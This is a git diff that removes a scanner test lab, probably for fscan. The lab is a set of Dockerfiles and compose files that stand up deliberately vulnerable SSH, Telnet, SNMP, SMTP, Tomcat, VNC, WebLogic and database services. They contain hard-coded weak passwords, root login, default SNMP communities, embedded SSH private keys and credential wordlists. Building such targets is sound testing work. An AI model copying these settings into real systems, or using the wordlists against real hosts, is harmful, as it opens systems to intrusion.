ubuntu:20.04 - -ENV DEBIAN_FRONTEND=noninteractive - -# 安装必要的软件 -RUN apt-get update && apt-get install -y \ - postfix \ - sasl2-bin \ - libsasl2-modules \ - mailutils \ - rsyslog \ - && rm -rf /var/lib/apt/lists/* - -# 配置Postfix -RUN postconf -e 'smtpd_sasl_auth_enable = yes' \ - && postconf -e 'smtpd_sasl_security_options = noanonymous' \ - && postconf -e 'smtpd_sasl_local_domain =' \ - && postconf -e 'broken_sasl_auth_clients = yes' \ - && postconf -e 'smtpd_recipient_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination' \ - && postconf -e 'inet_interfaces = all' - -# 配置SASL -RUN mkdir -p /etc/postfix/sasl/ -RUN echo "pwcheck_method: auxprop" > /etc/postfix/sasl/smtpd.conf \ - && echo "auxprop_plugin: sasldb" >> /etc/postfix/sasl/smtpd.conf \ - && echo "mech_list: PLAIN LOGIN" >> /etc/postfix/sasl/smtpd.conf - -# 创建SASL用户(使用固定域名localhost) -RUN echo "123456" | saslpasswd2 -p -c -u localhost test -RUN echo "admin123" | saslpasswd2 -p -c -u localhost admin -RUN echo "root123" | saslpasswd2 -p -c -u localhost root - -# 设置权限 -RUN chown postfix:postfix /etc/sasldb2 - -# 创建日志目录和文件 -RUN mkdir -p /var/log && \ - touch /var/log/mail.log && \ - chmod 644 /var/log/mail.log - -# 开放端口 -EXPOSE 25 - -# 创建启动脚本 -RUN echo '#!/bin/bash' > /start.sh \ - && echo 'service rsyslog start' >> /start.sh \ - && echo 'service postfix start' >> /start.sh \ - && echo 'tail -f /var/log/mail.log' >> /start.sh \ - && chmod +x /start.sh - -CMD ["/start.sh"] \ No newline at end of file diff --git a/fscan-lab/test-services/SMTP/README.txt b/fscan-lab/test-services/SMTP/README.txt deleted file mode 100644 index f2ee0b93..00000000 --- a/fscan-lab/test-services/SMTP/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t smtp-weak . -docker run -d --name smtp-test -p 25:25 smtp-weak \ No newline at end of file diff --git a/fscan-lab/test-services/SMTP/docker-compose.yml b/fscan-lab/test-services/SMTP/docker-compose.yml deleted file mode 100644 index acc4c77f..00000000 --- a/fscan-lab/test-services/SMTP/docker-compose.yml +++ /dev/null @@ -1,9 +0,0 @@ -version: '3.8' - -services: - smtp: - build: . - ports: - - "25:25" - container_name: smtp_test - restart: unless-stopped \ No newline at end of file diff --git a/fscan-lab/test-services/SMTP/start.sh b/fscan-lab/test-services/SMTP/start.sh deleted file mode 100644 index c9146aea..00000000 --- a/fscan-lab/test-services/SMTP/start.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash -service postfix start -tail -f /var/log/mail.log \ No newline at end of file diff --git a/fscan-lab/test-services/SNMP/Dockerfile b/fscan-lab/test-services/SNMP/Dockerfile deleted file mode 100644 index efb84b64..00000000 --- a/fscan-lab/test-services/SNMP/Dockerfile +++ /dev/null @@ -1,23 +0,0 @@ -FROM ubuntu:20.04 - -# 安装SNMP服务 -RUN apt-get update && \ - DEBIAN_FRONTEND=noninteractive apt-get install -y snmpd && \ - rm -rf /var/lib/apt/lists/* - -# 备份原配置 -RUN cp /etc/snmp/snmpd.conf /etc/snmp/snmpd.conf.orig - -# 创建新的配置文件 -RUN echo "rocommunity public default" > /etc/snmp/snmpd.conf && \ - echo "rocommunity private default" >> /etc/snmp/snmpd.conf && \ - echo "rocommunity cisco default" >> /etc/snmp/snmpd.conf && \ - echo "rocommunity community default" >> /etc/snmp/snmpd.conf && \ - # 允许从任何地址访问 - echo "agentAddress udp:161,udp6:[::1]:161" >> /etc/snmp/snmpd.conf - -# 开放SNMP端口 -EXPOSE 161/udp - -# 启动SNMP服务 -CMD ["snmpd", "-f", "-Lo", "-C", "-c", "/etc/snmp/snmpd.conf"] \ No newline at end of file diff --git a/fscan-lab/test-services/SNMP/README.txt b/fscan-lab/test-services/SNMP/README.txt deleted file mode 100644 index 64152128..00000000 --- a/fscan-lab/test-services/SNMP/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t snmp-weak . -docker run -d --name snmp-test -p 161:161/udp snmp-weak \ No newline at end of file diff --git a/fscan-lab/test-services/SNMP/docker-compose.yml b/fscan-lab/test-services/SNMP/docker-compose.yml deleted file mode 100644 index ae076729..00000000 --- a/fscan-lab/test-services/SNMP/docker-compose.yml +++ /dev/null @@ -1,9 +0,0 @@ -version: '3.8' - -services: - snmp: - build: . - ports: - - "161:161/udp" - container_name: snmp_test - restart: unless-stopped \ No newline at end of file diff --git a/fscan-lab/test-services/SSH/Dockerfile b/fscan-lab/test-services/SSH/Dockerfile deleted file mode 100644 index 15861bdc..00000000 --- a/fscan-lab/test-services/SSH/Dockerfile +++ /dev/null @@ -1,62 +0,0 @@ -# 使用Ubuntu最新版本作为基础镜像 -FROM ubuntu:latest - -# 安装必要的软件包(SSH服务 + 常用渗透工具) -RUN apt-get update && apt-get install -y \ - openssh-server \ - telnet \ - curl \ - wget \ - netcat-traditional \ - net-tools \ - iputils-ping \ - dnsutils \ - vim \ - && rm -rf /var/lib/apt/lists/* - -# 创建SSH所需的目录 -RUN mkdir /var/run/sshd - -# 允许root用户SSH登录并设置密码 -RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config -RUN echo 'root:Aa123456789' | chpasswd - -# 创建多个弱密码用户(匹配fscan默认字典) -RUN useradd -m admin && echo 'admin:admin' | chpasswd && \ - useradd -m test && echo 'test:123456' | chpasswd && \ - useradd -m user && echo 'user:password' | chpasswd && \ - echo 'root:root' | chpasswd - -# 配置密钥认证用户(ubuntu用户已存在于Ubuntu镜像中) -RUN mkdir -p /home/ubuntu/.ssh && \ - chmod 700 /home/ubuntu/.ssh - -# 复制SSH测试密钥 -COPY test_key.pub /home/ubuntu/.ssh/authorized_keys -COPY test_key_root.pub /root/.ssh/authorized_keys - -# 设置密钥权限 -RUN chmod 600 /home/ubuntu/.ssh/authorized_keys && \ - chown -R ubuntu:ubuntu /home/ubuntu/.ssh && \ - mkdir -p /root/.ssh && chmod 700 /root/.ssh && \ - chmod 600 /root/.ssh/authorized_keys - -# 下载并安装 frp 服务端 (v0.65.0) -RUN wget -q https://github.com/fatedier/frp/releases/download/v0.65.0/frp_0.65.0_linux_amd64.tar.gz && \ - tar -xzf frp_0.65.0_linux_amd64.tar.gz && \ - mv frp_0.65.0_linux_amd64/frps /usr/local/bin/frps && \ - chmod +x /usr/local/bin/frps && \ - rm -rf frp_0.65.0_linux_amd64* - -# 创建 frp 配置目录 -RUN mkdir -p /etc/frp - -# 开放22端口(SSH)和7000端口(FRP) -EXPOSE 22 7000 - -# 复制并设置启动脚本 -COPY entrypoint.sh /entrypoint.sh -RUN chmod +x /entrypoint.sh - -# 使用启动脚本(自动修复SSH密钥权限) -ENTRYPOINT ["/entrypoint.sh"] \ No newline at end of file diff --git a/fscan-lab/test-services/SSH/README.txt b/fscan-lab/test-services/SSH/README.txt deleted file mode 100644 index ee1d95c5..00000000 --- a/fscan-lab/test-services/SSH/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t ubuntu-ssh . -docker run -d -p 2222:22 ubuntu-ssh \ No newline at end of file diff --git a/fscan-lab/test-services/SSH/docker-compose.yml b/fscan-lab/test-services/SSH/docker-compose.yml deleted file mode 100644 index 06b5b0eb..00000000 --- a/fscan-lab/test-services/SSH/docker-compose.yml +++ /dev/null @@ -1,21 +0,0 @@ -version: '3.8' - -services: - ssh: - build: . - container_name: ssh_test - hostname: ssh-target - ports: - - "2222:22" # 映射到宿主机2222端口 - networks: - - test-network - restart: unless-stopped - stdin_open: true - tty: true - -networks: - test-network: - driver: bridge - -# 注意:不使用volumes挂载.ssh目录(会导致权限问题) -# authorized_keys在构建时COPY进镜像 diff --git a/fscan-lab/test-services/SSH/entrypoint.sh b/fscan-lab/test-services/SSH/entrypoint.sh deleted file mode 100644 index 180b8e7f..00000000 --- a/fscan-lab/test-services/SSH/entrypoint.sh +++ /dev/null @@ -1,12 +0,0 @@ -#!/bin/bash -# 修复SSH密钥权限(Docker volume在Windows上挂载时默认777) -if [ -f /root/.ssh/authorized_keys ]; then - chmod 600 /root/.ssh/authorized_keys - chown root:root /root/.ssh/authorized_keys -fi - -# 确保.ssh目录权限正确 -chmod 700 /root/.ssh - -# 启动SSH服务 -exec /usr/sbin/sshd -D diff --git a/fscan-lab/test-services/SSH/test_key b/fscan-lab/test-services/SSH/test_key deleted file mode 100644 index 89b0bab2..00000000 --- a/fscan-lab/test-services/SSH/test_key +++ /dev/null @@ -1,27 +0,0 @@ ------BEGIN OPENSSH PRIVATE KEY----- -b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn -NhAAAAAwEAAQAAAQEA5SPgB8mqgvEZcjADVHhQqAOl3w/sND8SJtupUq9HmGOvlQH1Fcsi -Nu4vT9aD+GzW1EpTrmAxJJ3uuGQ9aFsDamNkk0FIFL1nHeKzktWX/qiG175Yn9PKZJ6IzW -2B+5W+VD5m81iWs++UhzyGoxYu9F75XaOgYj3P8v6xUoZrqJz5pTcr9v4xPXXw+eFPDfdT -/sqlkctu8gHkt2DoUgpt8RNNXwJrjju9cTgOykzuC+OWPQHTl+OdLj+32Aj7FWjvtjmaI7 -vZtXnWUyGntEQKwXTa1Ou95bCMviisi0FVO5NwDcINl7SaO3wTvmINA2EUBT9jM73SiLt3 -npTFPYxEvQAAA8j4I37D+CN+wwAAAAdzc2gtcnNhAAABAQDlI+AHyaqC8RlyMANUeFCoA6 -XfD+w0PxIm26lSr0eYY6+VAfUVyyI27i9P1oP4bNbUSlOuYDEkne64ZD1oWwNqY2STQUgU -vWcd4rOS1Zf+qIbXvlif08pknojNbYH7lb5UPmbzWJaz75SHPIajFi70Xvldo6BiPc/y/r -FShmuonPmlNyv2/jE9dfD54U8N91P+yqWRy27yAeS3YOhSCm3xE01fAmuOO71xOA7KTO4L -45Y9AdOX450uP7fYCPsVaO+2OZoju9m1edZTIae0RArBdNrU673lsIy+KKyLQVU7k3ANwg -2XtJo7fBO+Yg0DYRQFP2MzvdKIu3eelMU9jES9AAAAAwEAAQAAAQAQHDxbV9Cy+aAUIO+P -ABGNqon+O6icCMYuMLoAK/4w5utYouVYJarPaWIurxKixAY7sUkeZLl3zVnUIYoWvPVpxL -i0yL14ZdOq7H47J+TSnQc0AnhJLnMXrXTJWrZtmZri4etLlzIrTwAmnPkLXNsqx8WpEYDM -f3OQLluJxZUqqtKgCThjHl6rnkPW8XtChtjhTijRk06Y2kq5Z2mpBe6+g5vn+01FYZmm/w -pNJevNT0sUhORgtprNi1xYqTimGjTn4Jum6xVPQme9ZDkjMy/gNYomzdJ1PVdXig3GLKuK -T9UXZAAvUYuRWmVWRtKqo94PvzfkwzOMTFXlrE1jY+2ZAAAAgE1d6wc5wC1iw/39SQzFS2 -SCtvToMyIYA+hG2O+jtqLG1dEZB1gd8Cy201RHS2z3ohm7lRzJ33QPs0HrKoa/WqhGi4N6 -zM8GQrBXhEytdAz99ewqgiKUxvNo6hQ1/ro6HeWK7/reQ2fHd36x00FisOcrsYjPm5Kfqc -hFxWc2ZKkeAAAAgQD/ttb4YyZrv6TYS1cchDhu6GoSjd+hXLSs8rTDruxMVIWBKBCIgksM -FjQVaaS/Du6dbIuxUZLboqqfX+HWoxE71hbsSPakuKeOImGBQAGMmL+TCt3EvHhCrWhAT4 -9KMvPPzt1NXzrUXkfM9s3wiB2pO1GDP/nmAzCKcZnEoiY6yQAAAIEA5WVuuG1QBptV+yCA -GizYhsStGW0dQSZps4ObEbWLSf3fdZgCDeZgOYnB4nL+KcfS4QSTsl+06dEh9N510ukNLy -tRv94zr7mnLrbX30KWE5NfEz1TgRFXQjl0P5tiY1E3x0p8fbMC3rfif2JbGPESys0xDRvG -r0EkhWtqz4KkwFUAAAAOZnNjYW4tdGVzdC1rZXkBAgMEBQ== ------END OPENSSH PRIVATE KEY----- diff --git a/fscan-lab/test-services/SSH/test_key.pub b/fscan-lab/test-services/SSH/test_key.pub deleted file mode 100644 index ca919538..00000000 --- a/fscan-lab/test-services/SSH/test_key.pub +++ /dev/null @@ -1 +0,0 @@ -ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlI+AHyaqC8RlyMANUeFCoA6XfD+w0PxIm26lSr0eYY6+VAfUVyyI27i9P1oP4bNbUSlOuYDEkne64ZD1oWwNqY2STQUgUvWcd4rOS1Zf+qIbXvlif08pknojNbYH7lb5UPmbzWJaz75SHPIajFi70Xvldo6BiPc/y/rFShmuonPmlNyv2/jE9dfD54U8N91P+yqWRy27yAeS3YOhSCm3xE01fAmuOO71xOA7KTO4L45Y9AdOX450uP7fYCPsVaO+2OZoju9m1edZTIae0RArBdNrU673lsIy+KKyLQVU7k3ANwg2XtJo7fBO+Yg0DYRQFP2MzvdKIu3eelMU9jES9 fscan-test-key diff --git a/fscan-lab/test-services/SSH/test_key_root b/fscan-lab/test-services/SSH/test_key_root deleted file mode 100644 index 47c18bed..00000000 --- a/fscan-lab/test-services/SSH/test_key_root +++ /dev/null @@ -1,27 +0,0 @@ ------BEGIN OPENSSH PRIVATE KEY----- -b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn -NhAAAAAwEAAQAAAQEAqk+3GXolJ7TKoZrZgo08f16t7EZcHd4zr8YlqdZ080nCyDIrzSDi -DlEUdCRFN6A5G3uVQxpQI0COdxCOVuEkbF27i0H2HxKq3k4ShEUS5aywv9tiAkR9WDkIz0 -adi89VcLQoW8P//HalPu5RooU0JqXKJvtd/yZ6W0a9EYkU7VRh3FDqtPnPPxD2JbPpcyOw -AJsCmR/UawQg77pS9+3RBNXO2CRR6yWsQLI5zkZVqTEhh2Nfwzs+/UhzS3W/gXCSYLMFRA -ztWEJYL9QFyGBNzIJMA6pdoT8Irvk1ZzX8weng+zMFJR2i6EOSGRE1fEFZiQ4k+ZQlLLb4 -clkSlCasZwAAA8il4sn+peLJ/gAAAAdzc2gtcnNhAAABAQCqT7cZeiUntMqhmtmCjTx/Xq -3sRlwd3jOvxiWp1nTzScLIMivNIOIOURR0JEU3oDkbe5VDGlAjQI53EI5W4SRsXbuLQfYf -EqreThKERRLlrLC/22ICRH1YOQjPRp2Lz1VwtChbw//8dqU+7lGihTQmpcom+13/JnpbRr -0RiRTtVGHcUOq0+c8/EPYls+lzI7AAmwKZH9RrBCDvulL37dEE1c7YJFHrJaxAsjnORlWp -MSGHY1/DOz79SHNLdb+BcJJgswVEDO1YQlgv1AXIYE3MgkwDql2hPwiu+TVnNfzB6eD7Mw -UlHaLoQ5IZETV8QVmJDiT5lCUstvhyWRKUJqxnAAAAAwEAAQAAAQAQVm74nTHaQhVxdOgq -W2pzHNMvXWfcdPfdWUiR/HYh7oX7wWsClbB0ciJgVShkrSnn8S4rjpHNx+rCu45ZVuYGao -7L+EBoJljI1DwiKc7Qby/8v6ACcAKG3OBzoyZdhpP/ffDPLhlXj87LSij/n6qV4y/mFxVN -yCmoVDwH5hq2p3TsGY766jr3UgvV9Kq+9gsdvyfWex29xMlupRMfDpSdE5KC2qmzwV4Akq -DpKMWQtCCThpHqRu68J0QgSRmQRPQk1Q/YEhX0dQXNd9svzXF8QDBx17P0Sm6C9iwiTJoD -ULsutT9D+KzDmq9AmxRnqyg/SY/eYBQ3pHMVaaGk4LeJAAAAgFfsSYo62z9TAaxEOT0ZYo -hSYR4kzTIlX8RByvy4trPtcB5C3hD+q/xMLZiNM22nEPicUoYUaok7Bk46xAcCBbFRMnJ0 -WycESdOxHSMYzUW+hAKWypxAxMlF9M9cmYAv/hASxtbINx3rVbk1YMUS+RFdtBI1wBIOk9 -11zGzU9ICuAAAAgQDhaKu4pRq9sDrKLR5WrALq0HX93UvYlDyU5JfY7xuvCozEeUDQzCAA -Nh/dNjqGx60AfAFGGf/k6SCv1SRJHhs7GQE3zABxQwO4hb/h7MNs+g3WtdLoV8N8xK1O9o -nV0Pev3dLx8cStvWoNwARyx/HLh0/O+pImRqoCpnMwKjLxzwAAAIEAwWzOG/BDmPvgppso -qo2ZZLXkW8KqA0E095Z97EvYNOY5H0iL8n7vcuLrLfUxSd62UZVSt57JXMo26d9k0UDXwd -Nv8cI3Y5TUAhJLjANiWhCZomns93LoAysMIq/CMHWhDO5CIGKNHEY+JhbrqxcWlYPfQizA -iNQluqSGy0jWuekAAAAPZnNjYW4tdGVzdC1yb290AQIDBA== ------END OPENSSH PRIVATE KEY----- diff --git a/fscan-lab/test-services/SSH/test_key_root.pub b/fscan-lab/test-services/SSH/test_key_root.pub deleted file mode 100644 index f940e518..00000000 --- a/fscan-lab/test-services/SSH/test_key_root.pub +++ /dev/null @@ -1 +0,0 @@ -ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqT7cZeiUntMqhmtmCjTx/Xq3sRlwd3jOvxiWp1nTzScLIMivNIOIOURR0JEU3oDkbe5VDGlAjQI53EI5W4SRsXbuLQfYfEqreThKERRLlrLC/22ICRH1YOQjPRp2Lz1VwtChbw//8dqU+7lGihTQmpcom+13/JnpbRr0RiRTtVGHcUOq0+c8/EPYls+lzI7AAmwKZH9RrBCDvulL37dEE1c7YJFHrJaxAsjnORlWpMSGHY1/DOz79SHNLdb+BcJJgswVEDO1YQlgv1AXIYE3MgkwDql2hPwiu+TVnNfzB6eD7MwUlHaLoQ5IZETV8QVmJDiT5lCUstvhyWRKUJqxn fscan-test-root diff --git a/fscan-lab/test-services/SSH/test_pairs.txt b/fscan-lab/test-services/SSH/test_pairs.txt deleted file mode 100644 index 2c993ac8..00000000 --- a/fscan-lab/test-services/SSH/test_pairs.txt +++ /dev/null @@ -1,4 +0,0 @@ -root:root -admin:admin -test:123456 -user:password diff --git a/fscan-lab/test-services/SSH/test_passwords.txt b/fscan-lab/test-services/SSH/test_passwords.txt deleted file mode 100644 index c54aec0b..00000000 --- a/fscan-lab/test-services/SSH/test_passwords.txt +++ /dev/null @@ -1,8 +0,0 @@ -root -admin -123456 -password -Aa123456789 -test -{user} -{user}123 diff --git a/fscan-lab/test-services/SSH/test_users.txt b/fscan-lab/test-services/SSH/test_users.txt deleted file mode 100644 index 0f890104..00000000 --- a/fscan-lab/test-services/SSH/test_users.txt +++ /dev/null @@ -1,5 +0,0 @@ -root -admin -test -user -ubuntu diff --git a/fscan-lab/test-services/Telnet/Dockerfile b/fscan-lab/test-services/Telnet/Dockerfile deleted file mode 100644 index 6029b7d4..00000000 --- a/fscan-lab/test-services/Telnet/Dockerfile +++ /dev/null @@ -1,18 +0,0 @@ -FROM busybox:latest - -# 安装必要的包 -RUN ["busybox", "telnetd", "--help"] - -# 创建测试用户 -RUN adduser -D -h /home/test test && \ - echo "test:123456" | chpasswd - -# 创建弱密码管理员 -RUN adduser -D -h /home/admin admin && \ - echo "admin:admin" | chpasswd - -# 暴露 Telnet 端口 -EXPOSE 23 - -# 启动 Telnet 服务 -CMD ["busybox", "telnetd", "-F", "-l", "/bin/sh"] \ No newline at end of file diff --git a/fscan-lab/test-services/Telnet/README.md b/fscan-lab/test-services/Telnet/README.md deleted file mode 100644 index 3b26eb09..00000000 --- a/fscan-lab/test-services/Telnet/README.md +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t telnet-test . -docker run -d -p 23:23 --name telnet-server telnet-test \ No newline at end of file diff --git a/fscan-lab/test-services/Telnet/docker-compose.yml b/fscan-lab/test-services/Telnet/docker-compose.yml deleted file mode 100644 index 90253aa7..00000000 --- a/fscan-lab/test-services/Telnet/docker-compose.yml +++ /dev/null @@ -1,9 +0,0 @@ -version: '3.8' - -services: - telnet: - build: . - ports: - - "23:23" - container_name: telnet_test - restart: unless-stopped \ No newline at end of file diff --git a/fscan-lab/test-services/Tomcat/Dockerfile b/fscan-lab/test-services/Tomcat/Dockerfile deleted file mode 100644 index 075ec945..00000000 --- a/fscan-lab/test-services/Tomcat/Dockerfile +++ /dev/null @@ -1,17 +0,0 @@ -FROM tomcat:9.0-jdk8 - -# 删除默认应用 -RUN rm -rf /usr/local/tomcat/webapps/* - -# 复制tomcat-users.xml配置文件 -COPY tomcat-users.xml /usr/local/tomcat/conf/ - -# 允许远程访问manager -COPY context.xml /usr/local/tomcat/webapps.dist/manager/META-INF/ -COPY context.xml /usr/local/tomcat/webapps.dist/host-manager/META-INF/ - -# 复制默认应用 -RUN cp -r /usr/local/tomcat/webapps.dist/* /usr/local/tomcat/webapps/ - -EXPOSE 8080 -CMD ["catalina.sh", "run"] \ No newline at end of file diff --git a/fscan-lab/test-services/Tomcat/README.txt b/fscan-lab/test-services/Tomcat/README.txt deleted file mode 100644 index 793ac4f9..00000000 --- a/fscan-lab/test-services/Tomcat/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t tomcat-weak . -docker run -d --name tomcat-test -p 8080:8080 tomcat-weak \ No newline at end of file diff --git a/fscan-lab/test-services/Tomcat/context.xml b/fscan-lab/test-services/Tomcat/context.xml deleted file mode 100644 index 0d6c02d9..00000000 --- a/fscan-lab/test-services/Tomcat/context.xml +++ /dev/null @@ -1,5 +0,0 @@ - - - - \ No newline at end of file diff --git a/fscan-lab/test-services/Tomcat/tomcat-users.xml b/fscan-lab/test-services/Tomcat/tomcat-users.xml deleted file mode 100644 index 7f4aa6aa..00000000 --- a/fscan-lab/test-services/Tomcat/tomcat-users.xml +++ /dev/null @@ -1,19 +0,0 @@ - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/fscan-lab/test-services/VNC/Dockerfile b/fscan-lab/test-services/VNC/Dockerfile deleted file mode 100644 index 2cebf047..00000000 --- a/fscan-lab/test-services/VNC/Dockerfile +++ /dev/null @@ -1,45 +0,0 @@ -FROM ubuntu:20.04 - -ENV DEBIAN_FRONTEND=noninteractive -ENV TZ=Asia/Shanghai - -# 安装必要的包 -RUN apt-get update && apt-get install -y \ - tightvncserver \ - xfce4 \ - xfce4-terminal \ - supervisor - -# 创建新用户 -RUN useradd -m vncuser -ENV USER=vncuser -ENV HOME=/home/vncuser - -# 设置supervisor配置 -RUN mkdir -p /var/log/supervisor -COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf - -# 切换到vncuser用户 -USER vncuser -WORKDIR /home/vncuser - -# 创建必要的文件和目录 -RUN touch ~/.Xauthority -RUN mkdir -p ~/.vnc - -# 创建启动脚本 -RUN echo '#!/bin/bash\nxrdb $HOME/.Xresources\nstartxfce4 &' > ~/.vnc/xstartup -RUN chmod +x ~/.vnc/xstartup - -# 设置VNC密码 -RUN echo "123456" | vncpasswd -f > ~/.vnc/passwd -RUN chmod 600 ~/.vnc/passwd - -# 切回root用户来运行supervisor -USER root - -# 暴露VNC端口 -EXPOSE 5901 - -# 使用supervisor启动服务 -CMD ["/usr/bin/supervisord"] \ No newline at end of file diff --git a/fscan-lab/test-services/VNC/README.txt b/fscan-lab/test-services/VNC/README.txt deleted file mode 100644 index 2bd5195b..00000000 --- a/fscan-lab/test-services/VNC/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t vnc-server . -docker run -d -p 5901:5901 vnc-server \ No newline at end of file diff --git a/fscan-lab/test-services/VNC/docker-compose.yml b/fscan-lab/test-services/VNC/docker-compose.yml deleted file mode 100644 index af978a47..00000000 --- a/fscan-lab/test-services/VNC/docker-compose.yml +++ /dev/null @@ -1,9 +0,0 @@ -version: '3.8' - -services: - vnc: - build: . - ports: - - "5901:5901" - container_name: vnc_test - restart: unless-stopped \ No newline at end of file diff --git a/fscan-lab/test-services/VNC/simple-docker-compose.yml b/fscan-lab/test-services/VNC/simple-docker-compose.yml deleted file mode 100644 index 0919403d..00000000 --- a/fscan-lab/test-services/VNC/simple-docker-compose.yml +++ /dev/null @@ -1,11 +0,0 @@ -version: '3.8' - -services: - vnc-simple: - image: consol/ubuntu-xfce-vnc:latest - ports: - - "5901:5901" - environment: - - VNC_PW=123456 - container_name: vnc_simple_test - restart: unless-stopped \ No newline at end of file diff --git a/fscan-lab/test-services/VNC/supervisord.conf b/fscan-lab/test-services/VNC/supervisord.conf deleted file mode 100644 index e46b07b8..00000000 --- a/fscan-lab/test-services/VNC/supervisord.conf +++ /dev/null @@ -1,16 +0,0 @@ -[supervisord] -nodaemon=true - -[program:vnc] -command=/usr/bin/Xvnc :1 -geometry 1280x800 -depth 24 -rfbport 5901 -rfbauth /home/vncuser/.vnc/passwd -alwaysshared -dontdisconnect -desktop "Ubuntu VNC" -user=vncuser -autostart=true -autorestart=true -environment=HOME="/home/vncuser",USER="vncuser" - -[program:xfce] -command=/usr/bin/startxfce4 -user=vncuser -autostart=true -autorestart=true -environment=DISPLAY=":1",HOME="/home/vncuser",USER="vncuser" \ No newline at end of file diff --git a/fscan-lab/test-services/Weblogic/Dockerfile b/fscan-lab/test-services/Weblogic/Dockerfile deleted file mode 100644 index 5f90a7f3..00000000 --- a/fscan-lab/test-services/Weblogic/Dockerfile +++ /dev/null @@ -1,20 +0,0 @@ -FROM container-registry.oracle.com/middleware/weblogic:12.2.1.4-dev - -# 环境变量 -ENV DOMAIN_NAME="base_domain" \ - ADMIN_PORT="7001" \ - ADMIN_NAME="weblogic" \ - ADMIN_PASSWORD="weblogic123" \ - PRODUCTION_MODE="dev" \ - DOMAIN_HOME="/u01/oracle/user_projects/domains/base_domain" - -USER oracle - -# 创建域配置脚本 -COPY --chown=oracle:oracle create-domain.py /u01/oracle/ -COPY --chown=oracle:oracle start.sh /u01/oracle/ -RUN chmod +x /u01/oracle/start.sh - -EXPOSE 7001 7002 - -CMD ["/u01/oracle/start.sh"] \ No newline at end of file diff --git a/fscan-lab/test-services/Weblogic/README.txt b/fscan-lab/test-services/Weblogic/README.txt deleted file mode 100644 index 4e7eab98..00000000 --- a/fscan-lab/test-services/Weblogic/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t weblogic-weak . -docker run -d --name weblogic-test -p 7001:7001 -p 7002:7002 weblogic-weak \ No newline at end of file diff --git a/fscan-lab/test-services/Weblogic/create-domain.py b/fscan-lab/test-services/Weblogic/create-domain.py deleted file mode 100644 index 24fae1a1..00000000 --- a/fscan-lab/test-services/Weblogic/create-domain.py +++ /dev/null @@ -1,26 +0,0 @@ -import os - -# 读取模板 -readTemplate("/u01/oracle/wlserver/common/templates/wls/wls.jar") - -# 配置管理服务器 -cd('/Security/base_domain/User/weblogic') -cmo.setPassword('weblogic123') - -# 设置域名称和路径 -cd('/') -cmo.setName('base_domain') -setOption('DomainName', 'base_domain') -setOption('ServerStartMode', 'dev') -setOption('OverwriteDomain', 'true') - -# 配置管理服务器 -cd('/Servers/AdminServer') -set('ListenAddress', '') -set('ListenPort', 7001) - -# 写入域配置 -writeDomain('/u01/oracle/user_projects/domains/base_domain') -closeTemplate() - -exit() \ No newline at end of file diff --git a/fscan-lab/test-services/Weblogic/start.sh b/fscan-lab/test-services/Weblogic/start.sh deleted file mode 100644 index b9e21d69..00000000 --- a/fscan-lab/test-services/Weblogic/start.sh +++ /dev/null @@ -1,10 +0,0 @@ -#!/bin/bash - -# 创建域 -wlst.sh -skipWLSModuleScanning /u01/oracle/create-domain.py - -# 等待域创建完成 -sleep 5 - -# 启动服务器 -/u01/oracle/user_projects/domains/base_domain/bin/startWebLogic.sh \ No newline at end of file diff --git a/fscan-lab/test-services/Zabbix/docker-compose.yml b/fscan-lab/test-services/Zabbix/docker-compose.yml deleted file mode 100644 index dff76330..00000000 --- a/fscan-lab/test-services/Zabbix/docker-compose.yml +++ /dev/null @@ -1,58 +0,0 @@ -version: '3' - -services: - mysql: - image: mysql:8.0 - container_name: zabbix-mysql - command: --default-authentication-plugin=mysql_native_password - environment: - MYSQL_ROOT_PASSWORD: root123 - MYSQL_DATABASE: zabbix - MYSQL_USER: zabbix - MYSQL_PASSWORD: zabbix123 - ports: - - "3306:3306" - volumes: - - ./mysql_data:/var/lib/mysql - networks: - - zabbix-net - - zabbix-server: - image: zabbix/zabbix-server-mysql:ubuntu-6.0.23 - container_name: zabbix-server - environment: - DB_SERVER_HOST: mysql - MYSQL_DATABASE: zabbix - MYSQL_USER: zabbix - MYSQL_PASSWORD: zabbix123 - MYSQL_ROOT_PASSWORD: root123 - ports: - - "10051:10051" - depends_on: - - mysql - networks: - - zabbix-net - - zabbix-web: - image: zabbix/zabbix-web-nginx-mysql:ubuntu-6.0.23 - container_name: zabbix-web - environment: - DB_SERVER_HOST: mysql - MYSQL_DATABASE: zabbix - MYSQL_USER: zabbix - MYSQL_PASSWORD: zabbix123 - MYSQL_ROOT_PASSWORD: root123 - ZBX_SERVER_HOST: zabbix-server - PHP_TZ: Asia/Shanghai - ports: - - "80:8080" - - "443:8443" - depends_on: - - mysql - - zabbix-server - networks: - - zabbix-net - -networks: - zabbix-net: - driver: bridge \ No newline at end of file diff --git a/fscan-lab/test-services/docker-compose.yml b/fscan-lab/test-services/docker-compose.yml deleted file mode 100644 index 8e272661..00000000 --- a/fscan-lab/test-services/docker-compose.yml +++ /dev/null @@ -1,339 +0,0 @@ -version: '3.8' - -services: - # === 数据库服务 === - mysql: - image: mysql:latest - container_name: fscan-mysql - environment: - MYSQL_ROOT_PASSWORD: Password - MYSQL_DATABASE: mydb - ports: - - "3306:3306" - volumes: - - mysql_data:/var/lib/mysql - healthcheck: - test: ["CMD", "mysql", "-uroot", "-pPassword", "-e", "SELECT 1"] - interval: 30s - timeout: 3s - retries: 3 - restart: unless-stopped - - postgresql: - image: postgres:latest - container_name: fscan-postgresql - environment: - POSTGRES_USER: postgres - POSTGRES_PASSWORD: 123456 - POSTGRES_DB: mydb - ports: - - "5432:5432" - volumes: - - postgresql_data:/var/lib/postgresql/data - 